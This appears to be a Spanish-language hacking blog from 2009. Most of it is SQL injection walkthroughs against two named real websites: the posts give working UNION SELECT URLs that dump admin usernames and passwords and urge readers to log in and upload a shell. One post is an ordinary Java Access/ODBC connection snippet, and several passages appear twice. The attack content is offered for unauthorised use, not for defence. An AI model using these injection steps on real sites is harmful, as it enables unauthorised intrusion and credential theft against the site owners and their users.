Bueno si siguieron los pasos a la injection anterior podran hacerlo en www.fovimar.com ya que esta tambien cuenta con la misma vulnerabilidad manos a la obra y a practicar!!!
Aqui esta la ayuda si lo hicieron bien les quedara algo asi:
http://www.fovimar.com/detalleNoticia.php?id=-1+union+select+0,
usu_usuario,2,usu_contrasena,4,5,6,7,8,9+from+usuarios
Ahora entren al panel y logearse!! subir shell :)!!
by D4rkD3m0n
lunes, 2 de noviembre de 2009
Conexion con Access 2003 en Java
Bueno este es un Code Sourse para realizar una conexion en java con el motor de Datos Access 2003, el code no es mio lo pongo para compartirlo no recuerdo la fuente de donde lo saque ya lo tengo hace buen tiempo pero aki lo tienen . . . .
import java.sql.*;
/*
* Debes debez de crear una base de datos en access con las siguientes:
* datos=nombre de la tabla
* id= campo autoincrementable
* nombre=tipo string
* sexo=tipo String
* edad=tipo entero
* La guardas y listo, copias la direcion donde la guardas en la varible dir
* Ver archvi doc para la conexion manual..
*/
public class Conexion{
private Statement statment=null;
private Connection conexion=null;
private String dir="C:\\BDprueba.mdb";//direcion de la base de datos
private String nombre="Prueba";//nombre de la conexion
public Conexion(){}
public static void main(String[] args){
Conexion c=new Conexion();
c.enlazarBD();//solo es nesecario llamarlo una vez
c.abrirConexion();
c.obtener();
//c.ingresar();
//c.modificar();
//c.eliminar();
cerrarConexion();
}
//Se encarga de realizar el enlace de datos(ODBC java y access)
//Lo realiza ejecutando un comando(odbcconf.exe)
public void enlazarBD(){
try {
Process p=Runtime.getRuntime().exec("odbcconf.exe /a {CONFIGDSN \"Driver do Microsoft Access (*.mdb)\" \"DSN="+nombre+"|Description=Es una prueba|DBQ="+dir+"\"}");
System.out.println("Esprando... ");
if(p.waitFor()==0)
System.out.println("JDBC-ODBC ---> Enlazado con exito");
else
System.out.println("JDBC-ODBC ---> Enlazado sin exito");
}catch (Exception err){
err.printStackTrace();
}
}
//Abre la conexion con la base de datos
public void abrirConexion(){
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");//carga el driver
conexion=DriverManager.getConnection("jdbc:odbc:"+nombre,"","");//carga la base de datos(crea la conexion con esta)
statment=conexion.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); //para las consultas
System.out.println("Conexion exitosa");
}catch(Exception e){
System.out.println("No se ha podido cargar el Driver JDBC-ODBC");
}
}
//Cierra la conexion con la base de datos
public void cerrarConexion(){
try{
statment.close();
conexion.close();
}catch(SQLException e){
e.printStackTrace();
System.exit(1);
}
}
public void obtener(){
try{
ResultSet rs=statment.executeQuery("SELECT * FROM datos");
while(rs.next()){
System.out.println(rs.getInt("id")+" "+rs.getString("nombre")+" "+rs.getString("edad")+" "+rs.getString("sexo"));
}
}catch(SQLException e){
e.printStackTrace();
}
}
public void ingresar(){
try{
statment.executeUpdate("insert into datos(nombre,edad,sexo) values('Roger',21,'M')");
}catch(SQLException e){
e.printStackTrace();
}
}
public void modificar(){
try{
statment.executeUpdate("UPDATE datos SET edad=20 WHERE nombre='Roger'");
}catch(SQLException e){
}
}
public void eliminar(){
try{
statment.executeUpdate("DELETE FROM datos WHERE nombre='Roger'");
}catch(SQLException e){
e.printStackTrace();
}
}
}
import java.sql.*;
/*
* Debes debez de crear una base de datos en access con las siguientes:
* datos=nombre de la tabla
* id= campo autoincrementable
* nombre=tipo string
* sexo=tipo String
* edad=tipo entero
* La guardas y listo, copias la direcion donde la guardas en la varible dir
* Ver archvi doc para la conexion manual..
*/
public class Conexion{
private Statement statment=null;
private Connection conexion=null;
private String dir="C:\\BDprueba.mdb";//direcion de la base de datos
private String nombre="Prueba";//nombre de la conexion
public Conexion(){}
public static void main(String[] args){
Conexion c=new Conexion();
c.enlazarBD();//solo es nesecario llamarlo una vez
c.abrirConexion();
c.obtener();
//c.ingresar();
//c.modificar();
//c.eliminar();
cerrarConexion();
}
//Se encarga de realizar el enlace de datos(ODBC java y access)
//Lo realiza ejecutando un comando(odbcconf.exe)
public void enlazarBD(){
try {
Process p=Runtime.getRuntime().exec("odbcconf.exe /a {CONFIGDSN \"Driver do Microsoft Access (*.mdb)\" \"DSN="+nombre+"|Description=Es una prueba|DBQ="+dir+"\"}");
System.out.println("Esprando... ");
if(p.waitFor()==0)
System.out.println("JDBC-ODBC ---> Enlazado con exito");
else
System.out.println("JDBC-ODBC ---> Enlazado sin exito");
}catch (Exception err){
err.printStackTrace();
}
}
//Abre la conexion con la base de datos
public void abrirConexion(){
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");//carga el driver
conexion=DriverManager.getConnection("jdbc:odbc:"+nombre,"","");//carga la base de datos(crea la conexion con esta)
statment=conexion.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); //para las consultas
System.out.println("Conexion exitosa");
}catch(Exception e){
System.out.println("No se ha podido cargar el Driver JDBC-ODBC");
}
}
//Cierra la conexion con la base de datos
public void cerrarConexion(){
try{
statment.close();
conexion.close();
}catch(SQLException e){
e.printStackTrace();
System.exit(1);
}
}
public void obtener(){
try{
ResultSet rs=statment.executeQuery("SELECT * FROM datos");
while(rs.next()){
System.out.println(rs.getInt("id")+" "+rs.getString("nombre")+" "+rs.getString("edad")+" "+rs.getString("sexo"));
}
}catch(SQLException e){
e.printStackTrace();
}
}
public void ingresar(){
try{
statment.executeUpdate("insert into datos(nombre,edad,sexo) values('Roger',21,'M')");
}catch(SQLException e){
e.printStackTrace();
}
}
public void modificar(){
try{
statment.executeUpdate("UPDATE datos SET edad=20 WHERE nombre='Roger'");
}catch(SQLException e){
}
}
public void eliminar(){
try{
statment.executeUpdate("DELETE FROM datos WHERE nombre='Roger'");
}catch(SQLException e){
e.printStackTrace();
}
}
}
lunes, 26 de octubre de 2009
SQL INJECTION a www.servosacargo.com
Este es mi primir articulo aki explicare como injectar la web de SERVOCARGO . . .
Disculpen si no pongo un video tutorial cuando pueda lo hago ya q estoy en linux y ya queria hacer una publicacion =P, bueno al tema!
- VERIFICAR SI LA WEB ES VULNERABLE
Vamos a la hoja de noticias:
http://www.servosacargo.com/dnoticia.php?idn=44
verificamos si la hoja es vulnerable usaremos valores verdaderos y falso ..
http://www.servosacargo.com/dnoticia.php?idn=44+and+1=1
con esto no varia nada ya que 1=1 pero que pasa si ponemos 1=0?
Como 1 no es igual a 0, no se realizará la consulta, de tal modo no apareceran datos en la web. Ahora sabemos que la web es vulnerable.
- AVERIGUAR CUAL ES EL NUMERO DE COLUMNAS Y HACIENDO CONSULTAS
EN esta parte podemos ir averiguando el numero de columnas con ->> order+by+1 asi vamos incrementando el 1 hasta q la pagina nos de error que es en order+by+9 ahora ya sabemos que el numero de columnas es 8.
Pasamos hacer la consulta http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,1,2,3,4,5,6,7,8
qui nos dara los campos que se imprimen que son 1,3,5,8 en ellas imprimiremos resultados.
estas son las impresiones usuales a modo de prueba
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,version(),2,database(),4,5,6,7,8
version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos
- HORA DE BUSCAR LA TABLA Y COLUMNA
Ahora haremos limit para recorrer las tablas de la base de datos en busca de la tabla de users.
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+1,1
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+2,1
Hasta llegar a ..
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+22,1
y el nombre de la tabla sera impreso en la pagina :
Nombre de la tabla: USUARIOS
Ahora ya teniendo la tabla USUARIOS buscamos las columnas de usuario y pass con :
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,column_name,2,3,4,5,
6,7,8+from+information_schema.columns+where+table_name=
char(85,83,85,65,82,73,79,83)+and+column_name+like+char(37,63,37)
en esta parte char(85,83,85,65,82,73,79,83) = char(USUARIOS)
USUARIOS en ascii = 85,83,85,65,82,73,79,83
Aqui nos imprimira el nombre de la columna: USU_USUARIO
En char(37,64,37) el 64 lo incrementamos (ai vamos traceando) hasta que nos de las columnas de pass . . q esta en . .
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,column_name,2,3,4,5,
6,7,8+from+information_schema.columns+where+table_name=
char(85,83,85,65,82,73,79,83)+and+column_name+like+char(37,67,37)
columna: USU_CONTRASENA
Y LISTO!! solo queda en hacer la injection !!
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,USU_USUARIO,2,USU_CONTRASENA,
4,5,6,7,8+from+USUARIOS
TALAN!! nos imprimio el user y el pass del admin este por defecto es el id=1.
weno ahora pasamos a logearnos . . SI lo hiciste bien t saldra el user y pas del admin =P
http://www.servosacargo.com/admin
Y eso es todo espero que les aya agradado y hasta pronto!
by D4rkD3m0n
Disculpen si no pongo un video tutorial cuando pueda lo hago ya q estoy en linux y ya queria hacer una publicacion =P, bueno al tema!
- VERIFICAR SI LA WEB ES VULNERABLE
Vamos a la hoja de noticias:
http://www.servosacargo.com/dnoticia.php?idn=44
verificamos si la hoja es vulnerable usaremos valores verdaderos y falso ..
http://www.servosacargo.com/dnoticia.php?idn=44+and+1=1
con esto no varia nada ya que 1=1 pero que pasa si ponemos 1=0?
Como 1 no es igual a 0, no se realizará la consulta, de tal modo no apareceran datos en la web. Ahora sabemos que la web es vulnerable.
- AVERIGUAR CUAL ES EL NUMERO DE COLUMNAS Y HACIENDO CONSULTAS
EN esta parte podemos ir averiguando el numero de columnas con ->> order+by+1 asi vamos incrementando el 1 hasta q la pagina nos de error que es en order+by+9 ahora ya sabemos que el numero de columnas es 8.
Pasamos hacer la consulta http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,1,2,3,4,5,6,7,8
qui nos dara los campos que se imprimen que son 1,3,5,8 en ellas imprimiremos resultados.
estas son las impresiones usuales a modo de prueba
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,version(),2,database(),4,5,6,7,8
version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos
- HORA DE BUSCAR LA TABLA Y COLUMNA
Ahora haremos limit para recorrer las tablas de la base de datos en busca de la tabla de users.
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+1,1
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+2,1
Hasta llegar a ..
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,table_name,2,3,4,5,
6,7,8+from+information_schema.tables+limit+22,1
y el nombre de la tabla sera impreso en la pagina :
Nombre de la tabla: USUARIOS
Ahora ya teniendo la tabla USUARIOS buscamos las columnas de usuario y pass con :
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,column_name,2,3,4,5,
6,7,8+from+information_schema.columns+where+table_name=
char(85,83,85,65,82,73,79,83)+and+column_name+like+char(37,63,37)
en esta parte char(85,83,85,65,82,73,79,83) = char(USUARIOS)
USUARIOS en ascii = 85,83,85,65,82,73,79,83
Aqui nos imprimira el nombre de la columna: USU_USUARIO
En char(37,64,37) el 64 lo incrementamos (ai vamos traceando) hasta que nos de las columnas de pass . . q esta en . .
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,column_name,2,3,4,5,
6,7,8+from+information_schema.columns+where+table_name=
char(85,83,85,65,82,73,79,83)+and+column_name+like+char(37,67,37)
columna: USU_CONTRASENA
Y LISTO!! solo queda en hacer la injection !!
http://www.servosacargo.com/dnoticia.php?idn=-1+UNION+SELECT+0,USU_USUARIO,2,USU_CONTRASENA,
4,5,6,7,8+from+USUARIOS
TALAN!! nos imprimio el user y el pass del admin este por defecto es el id=1.
weno ahora pasamos a logearnos . . SI lo hiciste bien t saldra el user y pas del admin =P
http://www.servosacargo.com/admin
Y eso es todo espero que les aya agradado y hasta pronto!
by D4rkD3m0n
Suscribirse a:
Entradas (Atom)